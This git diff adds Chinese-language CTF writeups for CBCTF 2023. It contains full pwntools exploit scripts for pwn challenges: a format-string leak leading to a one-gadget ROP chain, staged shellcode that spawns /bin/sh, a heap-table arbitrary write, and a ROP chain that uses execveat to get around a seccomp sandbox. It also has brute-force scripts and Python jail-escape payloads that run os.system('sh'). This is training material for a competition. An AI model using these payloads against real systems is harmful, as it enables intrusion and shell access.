diff --git a/cbctf2023/123go.md b/cbctf2023/123go.md new file mode 100644 index 0000000..b3836b4 --- /dev/null +++ b/cbctf2023/123go.md @@ -0,0 +1,71 @@ +# 123go + +## 文件属性 + +|属性 |值 | +|------|------| +|Arch |x64 | +|RELRO |Full | +|Canary|on | +|NX |on | +|PIE |on | +|strip |no | +|libc |2.31-0ubuntu9.14| + +## 解题思路 + +一次printf,两次scanf,每次16字节,颇有一点难度 +我一看栈的地址,因为ASLR的存在乱跳,不方便硬编码;写2个字节吧,又没有机会leak libc; +因为栈上有跳板`ptr1->ptr2->char[]str`,因此可以`*ptr1=ptr2x->retAddr`(打moectf打的), +然后再`*ptr2x=oneGadget`控制返回流为ogg;但是我检查限制条件时,发现让`r12 == 0`不满足, +故先写`pop r12;ret`的地址到返回地址上,跟一个`p64(0)`,把让r12改成0,再做ogg; +此时发现,scanf岂不是比%n好用多了?所以第一个scanf改的是跳板,第二个改的是返回地址内容 + +值得注意的是,scanf("%s")是不按\0截断的,并且也可以用`%8$s`这种方式指定参数序号 + +## EXPLOIT + +```python +from pwn import * + +def payload(lo:int): + global sh + libc = ELF('./libc-2.31.so') + if lo: + sh = process('123go') + if lo & 2: + gdb.attach(sh) + else: + sh = remote('training.0rays.club', 10039) + + # payload 1, leak stack & libc + sh.sendafter(b'name:', b'%11$p%13$p') + + sh.recvuntil(b'llo:') # skip + libcstartmain = int(sh.recv(14).decode(), 16) + libcBase = libcstartmain - 243 - libc.symbols['__libc_start_main'] + print('libc leaked') + + stack = int(sh.recv(14).decode(), 16) + retAddr = stack - 0x648 + 0x558 + print('stack leaked') + + if libcBase & 0xfff: + print(f'Invalid libcBase ({hex(libcBase)})') + sh.close() + return False + + sh.sendafter(b'text', b'%13$d') + input('type when ready') # avoid input piling + sh.sendline(str(retAddr & 0xffffffff).encode()) # int is enough + print('addr sent') + + popR12 = libcBase + 0xc9e91 + oneGadget = libcBase + 0xe3afe + sh.sendafter(b'text', b'%41$s') + input('type when ready') + sh.sendline(p64(popR12) + p64(0) + p64(oneGadget)) + print('payload sent') + + sh.interactive() +``` diff --git a/cbctf2023/README.md b/cbctf2023/README.md index 74dc01a..95703cd 100644 --- a/cbctf2023/README.md +++ b/cbctf2023/README.md @@ -7,10 +7,11 @@ ## 索引 1. Pwn (AK) - - heap1 - - reg - - The Legeng of Shellcode - - 123go + - [heap1](./heap1.md) + - [reg](./reg.md) + - [The Legend of Shellcode](./TheLegendOfShellcode.md) + - [123go](./123go.md) +> [rest challenges all in one](./remainder.md) 2. Reverse - Pwn - TIVM-Checkin diff --git a/cbctf2023/TheLegendOfShellcode.md b/cbctf2023/TheLegendOfShellcode.md new file mode 100644 index 0000000..ce35bde --- /dev/null +++ b/cbctf2023/TheLegendOfShellcode.md @@ -0,0 +1,89 @@ +# The Legend of Shellcode + +## 文件属性 + +|属性 |值 | +|------|------| +|Arch |x64 | +|RELRO |Full | +|Canary|on | +|NX |off | +|PIE |on | +|strip |no | +|libc |2.31-0ubuntu9.12| + +## 解题思路 + +nx没开,栈上放了一堆`ret`,一运行就是`pop rip`,那么控制好rsp,就能让rip跳到下一个read的段; +由于我想的是`add rax,0x10;push rax`的方式移动rip,因此读入9字节,只剩4字节空间了,不适合放"/bin/sh" +字符串,因此考虑在初始读入的位置搓一个`SYSCALL_read`出来方便读入完整的shellcode(打newstar ctf打的), +再跳转过去就可以拿到shell + +> 赛后交流发现short jmp所耗字节更少,还是疏忽了 + +## EXPLOIT + +```python +from pwn import * +context.arch = 'amd64' + +def payload(lo:int): + if lo: + sh = process('./code') + if lo & 2: + gdb.attach(sh, gdbscript='b *$rebase(0x13b7)') + else: + sh = remote('training.0rays.club', 10004) + + # section 1 + shc = asm(''' + push rax + xor rdi,rdi + add rax,0x10 + push rax + ''') + sh.send(shc) + + # section 2 + shc = asm(''' + pop rbx + mov rdx,r11 + add rax,0x10 + push rax + ''') + sh.send(shc) + + # section 3 + shc = asm(''' + push rbx + pop rsi + push rbx + xor rax,rax + syscall + ret + ''') + sh.send(shc) + + # skipping rest + sh.sendlineafter(b'sh:', b'') + sh.sendlineafter(b'ht:', b'') + sh.sendlineafter(b'ul:',b'') + + + # section SYSCALL_read + shc = asm(''' + mov rbx, 0x68732f6e69622f + push rbx + push rsp + pop rdi + xor rsi,rsi + xor rdx, rdx + push 0x3b + pop rax + syscall + ''') + sh.sendlineafter(b'ru', shc) + + sh.interactive() +``` + diff --git a/cbctf2023/assets/bypass.png b/cbctf2023/assets/bypass.png new file mode 100644 index 0000000..9926842 Binary files /dev/null and b/cbctf2023/assets/bypass.png differ diff --git a/cbctf2023/assets/calc.png b/cbctf2023/assets/calc.png new file mode 100644 index 0000000..d835a6b Binary files /dev/null and b/cbctf2023/assets/calc.png differ diff --git a/cbctf2023/assets/dnstxt.png b/cbctf2023/assets/dnstxt.png new file mode 100644 index 0000000..77335b9 Binary files /dev/null and b/cbctf2023/assets/dnstxt.png differ diff --git a/cbctf2023/assets/motherOfEarth.png b/cbctf2023/assets/motherOfEarth.png new file mode 100644 index 0000000..f91b8c3 Binary files /dev/null and b/cbctf2023/assets/motherOfEarth.png differ diff --git a/assets/rank.png b/cbctf2023/assets/rank.png similarity index 100% rename from assets/rank.png rename to cbctf2023/assets/rank.png diff --git a/cbctf2023/assets/sandbox.png b/cbctf2023/assets/sandbox.png new file mode 100644 index 0000000..9d9d4f2 Binary files /dev/null and b/cbctf2023/assets/sandbox.png differ diff --git a/cbctf2023/assets/tupper.png b/cbctf2023/assets/tupper.png new file mode 100644 index 0000000..621195b Binary files /dev/null and b/cbctf2023/assets/tupper.png differ diff --git a/cbctf2023/heap1.md b/cbctf2023/heap1.md new file mode 100644 index 0000000..e64a66d --- /dev/null +++ b/cbctf2023/heap1.md @@ -0,0 +1,124 @@ +# heap1 + +## 文件属性 + +|属性 |值 | +|------|------| +|Arch |x64 | +|RELRO|Partial| +|Canary|off | +|NX |on | +|PIE |off | +|strip |yes | + +## 解题思路 + +看似堆题实则根本不是堆题!看了半天`myread`,也没off-by-null,结果是虚晃一枪 + +能分配单元的数量由`gsizes[31]`决定,初始值是0x20,可以通过edit修改,另外还发现除了add函数, +剩下的函数都不检查idx,分配不分配的到指针也不检查,所以可以尝试把目标地址借助size写到`gsizes[0]`中; +由于没开pie,可以很轻松地写入,唯一的问题是edit需要大小,那么可以通过overlap解决 + +``` +建议使用等宽字体 + +------------+ +gbuf[0] -> | 0 | + +------------+ +gsizes[0] -> | 0 | <- gbuf[0 + 0x20] (以下不再赘述) + +------------+ +gsizes[31] -> | 0x20 | + +------------+ + ############## + + || 修改能分配的单元数量 + \/ + +------------+ +gbuf[0] -> | 0 | + +------------+ +gsizes[0] -> | 0 | + +------------+ +gsizes[31] -> | 666 | + +------------+ +gsizes[32] -> | 0 | + +------------+ +target -> | 0 | <- need to be 'Seg_Tree' + +------------+ + + || 先给32号单元设置size,方便后面edit + \/ + +------------+ +gbuf[0] -> | 0 | + +------------+ +gsizes[0] -> | 0x410130 | <- assumption + +------------+ +gsizes[31] -> | 666 | + +------------+ +gsizes[32] -> | 9 | + +------------+ +target -> | 0 | + +------------+ + + || 接着设置0号单元,将目标地址放在gsizes[0] (gbuf[32]) 上 + \/ + +------------+ +gbuf[0] -> |0x7f..773200| <- assumption (large memory chunk should be alloced near libc(?)) + +------------+ +gsizes[0] -> | 0x4040c0 | + +------------+ +gsizes[31] -> | 666 | + +------------+ +gsizes[32] -> | 9 | + +------------+ +target -> | 0 | + +------------+ + + || 最后edit32号单元,修改目标地址的内容 + \/ + +------------+ +gbuf[0] -> |0x7f..773200| + +------------+ +gsizes[0] -> | 0x4040c0 | --+ + +------------+ | +gsizes[31] -> | 666 | | + +------------+ | +gsizes[32] -> | 9 | | + +------------+ | +target -> | "Seg_Tree" | <-+ + +------------+ +``` + +## EXPLOIT + +```python +from pwn import * +def payload(lo:int): + if lo: + sh = process('./heap1') + if lo & 0b10: + gdb.attach(sh) + else: + sh = remote("training.0rays.club", 10073) + + def add(idx:int, size:int): + sh.recvuntil(b'ice:') + sh.sendline(b'1') + sh.sendline(str(idx).encode()) + sh.sendline(str(size).encode()) + + def edit(idx:int, cont:bytes): + sh.recvuntil(b'ice:') + sh.sendline(b'3') + sh.sendline(str(idx).encode()) + sh.sendline(cont) + + def Exit(): + sh.recvuntil(b'ice:') + sh.sendline(b'5') + + add(31, 666) + add(32, 9) + add(0, 0x4040c0) + edit(32, b'Seg_Tree') + Exit() + sh.interactive() +``` diff --git a/cbctf2023/reg.md b/cbctf2023/reg.md new file mode 100644 index 0000000..a02dce8 --- /dev/null +++ b/cbctf2023/reg.md @@ -0,0 +1,110 @@ +# reg + +## 文件属性 + +|属性 |值 | +|------|------| +|Arch |x64 | +|RELRO |Full | +|Canary|off | +|NX |on | +|PIE |on | +|strip |no | +|libc |2.35-0ubuntu3.5| + +## seccomp rules + + + +## 解题思路 + +先patchelf...然后看栈上内容,有libc, stack,还能控制rbp(buf[0x20] off-by-one 编码错误), +考虑最后栈迁移;然后就是复制libc地址并偏移到gadget;由于没有pie地址,所以用不了程序的gadget, +考虑用libc中的gadget;还有就是程序有沙盒,所以预期解是orw,但是本地能通,远程不通, +怀疑是fd对不上,但是又不能用`push rax;ret`的gadget:严重干扰rop,使rax成rip了; +回看沙盒,发现除了execve都放行了,execveat被绕过了,故构造`execveat("/bin/sh")` +(只写了关键参数) + +## EXPLOIT + +```python +from pwn import * +sh = '' +def Add(idx:int, direct:bool, content:int): + global sh + sh.sendline(b'2') + sh.sendline(f'{idx} {1 if direct else 2} {content}'.encode()) + sleep(0.25) # no output, so sleep to avoid input piling + +def Set(idx:int, direct:bool, content:int): + global sh + sh.sendline(b'1') + sh.sendline(f'{idx} {1 if direct else 2} {content}'.encode()) + sleep(0.25) + +def payload(lo:int, expected:bool): + global sh + libc = ELF('./libc-2.35.so') + if lo: + sh = process('./reg') + if lo & 0b10: + gdb.attach(sh, gdbscript='b *$rebase(0x1497)') + else: + sh = remote('training.0rays.club', 10084) + + base = libc.symbols['_IO_2_1_stderr_'] + popRdi = 0x2a3e5 - base + popRsi = 0x2be51 - base + popRdx = 0x796a2 - base + popRcx = 0x3d1ee - base + popR8 = 0x1657f6 - base + pushRax = 0x41563 - base + openAddr = libc.symbols['open'] - base + readAddr = libc.symbols['read'] - base + writeAddr = libc.symbols['write'] - base + execveatAddr = libc.symbols['execveat'] - base + + def libcShift(idx, val): + Set(idx, False, 31) + Add(idx, True, val) + + Set(31, False, 26) # copy _IO_2_1_stderr_ realAddr to idx 31 + if expected: + Set(0, True, int(b'flag'[::-1].hex(), 16)) + libcShift(1, popRdi) + Set(2, False, 32) + Add(2, True, 0x60 - 0x180) # set rdi = &arr[0] (path) + libcShift(3, popRsi) + Set(4, True, 0) # set rsi = 0 (flags = O_RDONLY) + libcShift(5, openAddr) + libcShift(6, popRdi) + Set(7, True, 3) # default fd is 3 + libcShift(8, popRsi) + Set(9, False, 32) + Add(9, True, 0x120 - 0x180) # set rsi = &arr[24] (buf) + libcShift(10, popRdx) + Set(11, True, 55) + libcShift(12, readAddr) + libcShift(13, popRdi) + Set(14, True, 1) + libcShift(15, popRdx) + Set(16, False, 9) + libcShift(17, writeAddr) + else: + Set(0, True, int(b'/bin/sh'[::-1].hex(), 16)) + libcShift(1, popRsi) + Set(2, False, 32) + Add(2, True, 0x60 - 0x180) # set rsi = &arr[0] (path) + libcShift(3, popRdx) + Set(4, True, 0) + libcShift(5, popRcx) + Set(6, True, 0) + libcShift(7, popR8) + Set(8, True, 0) + libcShift(9, execveatAddr) # execveat(??, &"/bin/sh", 0, 0, 0) + + Set(32, False, 2) # stack pivot to arr[1] (modify on rbp) + + sh.sendline(b'3') # return now + sh.interactive() +``` diff --git a/cbctf2023/remainder.md b/cbctf2023/remainder.md new file mode 100644 index 0000000..2dbd938 --- /dev/null +++ b/cbctf2023/remainder.md @@ -0,0 +1,397 @@ +# CBCTF 2023 Writeup + +By RocketDev #2 + +## Misc + +### Real Signin + +JBN直接在通知里放了 + +### Tupper + +把zip解压了,再把里面所有文件解压,用python脚本把按顺序把所有文件中的数字全部读取, +然后将拼接起来的数字用tupper生成图像,发现是倒过来的flag,逆转即可 +![tupper flag](./assets/tupper.png) + +### 大地之母 + +以图搜图找不到,于是就想是哪个平台上的图,从getty image逛到视觉中国都不匹配; +然后根据图上的指南针想到地图,作为网安人,我先猜测是谷歌地图; +图片翻了一圈愣是没找到,然后在全景里找到了,第一个就是 +![大地之母](./assets/motherOfEarth.png) + +### EncodeTrick + +python的文件编码不止文本编码,还有python[特定编码](https://docs.python.org/3/library/codecs.html#python-specific-encodings "codecs") +compile代码时,不检查注释,但在直接用`python calc.py`时,会使用头上给出的编码解析文件; +因此可以使用编码`unicode-escape`,并给想运行的代码前写上`#\n`,这样就可以在 compile +时绕过检测,而在运行时执行 +![encoding](./assets/calc.png) + +> ~~一开始还以为是用shebang绕过~~ +> 这些题目的flag竟然是放在环境变量里的,是我pwn打多了不知道这一点吗... + +**感谢JBN的大力指导!** + +## Web + +### Another Signin + +dns + txt,直接从域名解析结果看就可以了 +![dns txt](./assets/dnstxt.png) + +### BeginnerTetris + +~~这俄罗斯方块怎么拿再高的分都拿不到flag啊~~ + +源代码末尾藏了先后两个部分的flag的base64编码,分别解析并拼接拿到flag + +``` +ZmxhZ3tZT3UxcmVfZnIwbnQ= -> flag{YOu1re_fr0nt @ GamePageViewer.ts +X0VuZF9tQXN0MXJfNl42fQ== -> _End_mAst1r_6^6} @ PageConfig.ts +``` + +## Reverse + +### Pwn + +买flag不做校验,买0个就能拿到flag +``` +Welcome to the Shop! Your balance is: 20 +1. Buy +2. Sell +3. Exit +Choose an option (1-3): 1 +You have chosen to buy. +Available items and their prices: + 1. Humble (5) + 2. Yolbby (10) + 3. Flag (1000) +Select an item (1-3): 3 +Enter the quantity to buy: 0 +Congratulations, you bought 0 Flag(s) for 0, current balance: 20. +CBCTF{4e82e49c-1bcb-4cf9-8576-f6064a1603a7} +``` + +### 原来你也玩原神 + +想先逆向的,发现有winlicense的壳,尝试脱壳,有好似没脱, +于是猜了几个热门角色,发现都不对,遂动调 + +输入口令后一路步过,最终发现内存中的flag,顺便还发现了拿到flag的口令 +口令是“我不玩原神”,但是忘记截图了 + +~~原神怎么你了~~ + + +### TIVM-Checkin + +从1-10000爆破,没一个对的,于是就试了114514,然后就拿到flag了 +~~最意外的一集~~ +~~高强度网上冲浪大学生必知数字~~ + +``` +> python run.py +Welcome to CBCTF 2023! +Now guess my lucky number:114514 +Great! Here is your flag: +CBCTF{W31c0me_to_C8CTF2O23!!!} +``` + +### Crypto + +ghidra反编译发现核心代码: + +```c +right = 0x2b; +left = 0; +j = 0; +printf("flag:"); +while (left <= right) { + mid = left + (right - left) / 2; + putchar((uint)fbuf[mid]); + fflush(stdout); + ewma_weight = (double)ewma(ewma_weight,list[j],alpha); + if (ewma_weight <= 0.5) { + right = mid + -1; + j = j + 1; + } else { + left = mid + 1; + j = j + 1; + } +} +``` + +又知序列码由6位0和1组成,因此可以先推算出所有序列码对应的字符索引, +然后连靶机,遍历所有字符集,最后汇总形成flag + +```python +from pwn import * + +def genSerial() -> list: + bucket = [] + for i in range(64): + box = [] # individual serial indexes + bi = bin(i + 64)[3:] # 0b1[001010] for example + bins = list(map(int, bi)) + l = 0 + r = 43 + j = 0 + weight = 1.0 + while l <= r: + m = l + (r - l) // 2 + box.append(m) + weight = 0.5 * weight + 0.5 * bins[j] + if weight <= 0.5: + r = m - 1 + j += 1 + else: + l = m + 1 + j += 1 + bucket.append(box) + return bucket + +def iterAll(lo:bool) -> list: + bucket = [] + i = 0 + eof = 0 + while i < 64: + try: + bi = bin(i + 64)[3:] + if lo: + sh = process('./serial') + else: + sh = remote('training.0rays.club', 10003) + sh.recvuntil(b':') + sh.sendline(bi.encode()) # send generated serial + sh.recvuntil(b'flag:') + chars = list(sh.recvline(False).decode()) + bucket.append(chars) + sh.close() + print(f'round {i + 1} passed') + i += 1 + eof = 0 + except EOFError: # sometimes we may lose connection when brute force + sh.close() + eof += 1 + print(f'round {i + 1}, meet eof #{eof}') + continue # so we need to reconnect + return bucket + +def apply(lo): + idxs = genSerial() + vals = iterAll(lo) + table = [] + # get index for every char + for i in range(43): + for j in range(64): + jmp = False + for k in range(len(idxs[j])): + if idxs[j][k] == i: + table.append((j, k)) + jmp = True + break + if jmp: + break + + # and concat broken flags + merge = '' + merge += vals[table[i][0]][table[i][1]] + print(merge) +``` + +### Misc + +这个文件会检查flag与输入内容的匹配度并输出,由读入的内容可知flag长43字节, +并且所有的flag格式都是固定的,那么只要把那些16进制字符一个一个爆破出来就可以了; +每爆破成功一个字符,匹配率都会上涨,可以以此确定爆破结果的正确与否 + +```python +from pwn import * + +def test(sh:tube, flag:str) -> str | None: + try: + sh.recvuntil(b':') + sh.sendline(flag.encode()) # send incomplete flag + sh.recvuntil(b'age:') + return sh.recvline(False).decode() # return match rate + except EOFError: + return None + +gapmap = [] # mapping for char poistions +gapmap.extend(range(6, 14)) +gapmap.extend(range(15, 19)) +gapmap.extend(range(20, 24)) +gapmap.extend(range(25, 29)) +gapmap.extend(range(30, 42)) + +HEX = [hex(i)[2:] for i in range(16)] # 01234567890abcdef + +def bruteforce(lo:bool, port:int=0): + base = 'CBCTF{ - - - - }' + match = '25.58%' + print(f'starts with flag "{base}" with coverage {match}') + base = list(base) + for i in range(32): + eof = 0 + h = 0 + while h < 16: + if lo: + sh = process('./flag_coverage') + else: + sh = remote('training.0rays.club', port) + base[gapmap[i]] = HEX[h] + ret = test(sh, ''.join(base)) + sh.close() + if ret is None: # sometimes we lose connection with server + eof += 1 + continue + if ret != match: + match = ret # we don't need to store the float value; just compare the str + break + h += 1 + if lo: + extraInfo = '' + elif eof: + extraInfo = f'with {eof} times of eof' # though this time I didn't meet eof + else: + extraInfo = 'successfully' + print(f'digit {i + 1} passed {extraInfo} ({HEX[h]})') + print(f'finally we get the flag: {"".join(base)}') +``` + +### TIVM-Traceme + +Checkin的复刻版,但是exe +不过这个程序是一个字符一个字符检查flag的,如果错误,则直接报错, +如果正确,则可以继续读取输入的flag,因此可以一个字符一个字符输入来爆破, +一旦错了就有输出,正确则没有 + +因此写出以下模拟程序和脚本,进行爆破 + +```c +// emulate.c +// gcc -O2 -o emulate emulate.c +#include + +int ops[0x763]; + +int main(void) { + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + FILE *bin; + bin = fopen("./traceme.bin", "rb"); + fread(ops, 4, 0x763, bin); + fclose(bin); + int idx = 0; + char chr; + char tmp; + do { + int a1 = ops[idx + 1]; + int a2 = ops[idx]; + int a3 = ops[idx + 2]; + idx += 3; + if (a1 < 0) + putchar(ops[a2]); + else if (a2 < 0) { + chr = getchar(); + a2 = chr; + ops[a1] = a2; + } else { + ops[a1] -= ops[a2]; + if (ops[a1] < 1) + idx = a3; + } + } while (idx < 0x761); +} +``` + +```python +from pwn import * + +DICT = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_}' +LEN = len(DICT) + +def brute(): + flag = list('CBCTF{') + print('we start brute force with "CBCTF{"') + while flag[-1] != '}': + i = 0 + eof = 0 + while i < LEN: + try: + sh = process('./emulate') + sh.send(''.join(flag).encode()) + probe = DICT[i] # step by a single char + sh.send(probe.encode()) + if not sh.recvuntil(b'O', timeout=0.25): # if we can't get 'O' in 0.25s then the char is incorrect + print(f'digit {len(flag)} is {probe}') # as we may only succeed n times and fail n * LEN times + sh.close() # so check failure spend less time (local program runs fast) + flag.append(probe) + break + sh.close() + i += 1 + except EOFError: # here is kinda strange as when we complete correct flag, we get eof + print(f'digit {len(flag)} is {probe}') + sh.close() + flag.append(probe) + break + if i == LEN: + print(f'DICT is not enough for digit {len(flag)}') # fortunately I didn't meet this case + print(f'now we get the flag: {"".join(flag)}') +``` + +## 签到 + +CV工程师一大早上班拿下一血! + +## pyjail + +### level 1 + +类似EncodeTrick,只不过没有限制 + +```python +import os +print(os.environ.get('FLAG')) +``` + +### level 2 + +没啥限制,nc连接,直接拿shell + +```python +exec('import os;os.system("sh")') +``` + +### level 3 + +13字符限制,靠读取绕过 + +```python +exec(input()) +``` +### level 4 + +12字符限制,靠断点拿shell + +```python +breakpoint() +``` + +### level 5 + +禁用了import等字样,尝试将payload用8进制发送再解码 + +```python +exec(bytes([105, 109, 112, 111, 114, 116, 32, 111, 115, 59, 32, 111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 34, 115, 104, 34, 41]).decode()) +``` + +### level 6 + +禁用了小写字符,因此通过unicode近似字符绕过;要注意的是符号可以由unicode解析成小写字符, +但是字符串不行,会保持原样,因此考虑用8进制绕过 + +![怕字符显示不出来,上图!](./assets/bypass.png) +